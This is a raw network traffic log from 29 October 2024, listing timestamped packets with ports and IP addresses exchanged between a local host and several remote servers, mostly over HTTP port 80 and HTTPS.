Oct 29, 2024 02:46:43.853401899 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853415966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853425980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853449106 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853482962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853493929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853517056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853550911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853562117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853584051 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853619099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853630066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853652000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853698015 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.853703976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.853771925 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.868737936 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:43.869138002 CET	49934	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:43.869158983 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:43.869474888 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:43.869817972 CET	49934	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:43.869879961 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:43.869983912 CET	49934	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:43.911350012 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:43.925129890 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.930605888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.957171917 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:43.958129883 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:43.958142042 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:43.959218979 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:43.959224939 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:43.960104942 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:43.960119963 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.056647062 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:44.056834936 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:44.056988955 CET	49934	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:44.057478905 CET	49934	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:44.057497978 CET	443	49934	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:44.057513952 CET	49934	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:44.057677984 CET	49934	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:44.207030058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207073927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207110882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207112074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207127094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207129002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207153082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207158089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207165003 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207175016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207200050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207201958 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207217932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207233906 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207237005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207248926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207254887 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207263947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207279921 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207289934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207295895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207319021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207336903 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207393885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207417965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207432985 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207434893 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207448959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207454920 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207463980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207477093 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207493067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207494974 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207508087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207520962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207529068 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207530975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207544088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207557917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207566023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207572937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207597017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207617044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207623959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207624912 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207632065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207638979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207648039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207731009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207763910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207767963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207782030 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207798004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207812071 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207822084 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207827091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207845926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207848072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207865000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207870007 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207890034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207894087 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207906008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207917929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207918882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207931042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207943916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207950115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207959890 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207963943 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207973957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.207983017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.207992077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.208003998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.208003998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.208013058 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.208026886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.208045006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.286240101 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.287168026 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.287179947 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.288634062 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.288693905 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.290465117 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.290548086 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.290658951 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.290700912 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.290736914 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.307055950 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.307106018 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.307161093 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.307172060 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.323612928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323638916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323652983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323690891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323721886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323726892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323739052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323765993 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323765993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323781013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323796034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323798895 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323808908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323811054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323832989 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323862076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323906898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323921919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323937893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323951006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323952913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323961973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323975086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.323987007 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.323992014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324008942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324014902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324034929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324049950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324058056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324074030 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324076891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324088097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324103117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324111938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324120045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324126959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324148893 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324158907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324174881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324182987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324188948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324208021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324213982 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324232101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324234962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324244976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324256897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324260950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324287891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324290037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324315071 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324316978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324331999 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324345112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324346066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324361086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324363947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324373960 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324378967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324394941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324399948 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324428082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324455976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324500084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324516058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324539900 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324553967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324562073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324579954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324594975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324599028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324619055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324630976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324634075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324650049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324656963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324667931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324681997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324682951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324702978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324719906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.324805975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324862003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324945927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324960947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324986935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.324991941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325001001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325011969 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325020075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325035095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325041056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325051069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325068951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325074911 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325083971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325093031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325109959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325123072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325124025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325139046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325155973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325161934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325182915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325184107 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325197935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325212955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325216055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325227976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325242043 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325264931 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325267076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325284004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325308084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325321913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325337887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325351954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325352907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325367928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325383902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325385094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325393915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325402975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325417042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325428963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325433969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325459957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325476885 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325483084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325498104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325514078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325524092 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325540066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325556993 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325558901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325571060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325596094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325611115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325627089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.325638056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325654030 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.325676918 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.331613064 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.331625938 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.331655025 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.331943035 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.332020998 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.332087994 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.338339090 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.338346958 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.384242058 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.392568111 CET	49944	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.392602921 CET	443	49944	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.392693996 CET	49944	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.392893076 CET	49944	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.392909050 CET	443	49944	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.395982027 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.397233009 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.397244930 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.397814035 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.397819042 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.400594950 CET	49945	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.400665998 CET	443	49945	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.400782108 CET	49945	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.400899887 CET	49945	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:44.400907993 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.400932074 CET	443	49945	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:44.401237965 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.401256084 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.401650906 CET	49939	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.401658058 CET	443	49939	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.414999008 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.415488958 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.415503979 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.415956974 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.415963888 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.419691086 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.420041084 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.420084000 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.420495033 CET	49942	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.420509100 CET	443	49942	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.440782070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440808058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440824032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440838099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.440849066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440864086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440865993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.440882921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.440912962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440915108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.440928936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440946102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440962076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.440980911 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.440989971 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441018105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441034079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441049099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441062927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441076994 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441088915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441103935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441107988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441129923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.441144943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.441145897 CET	49838	80	192.168.2.5	185.215.113.206
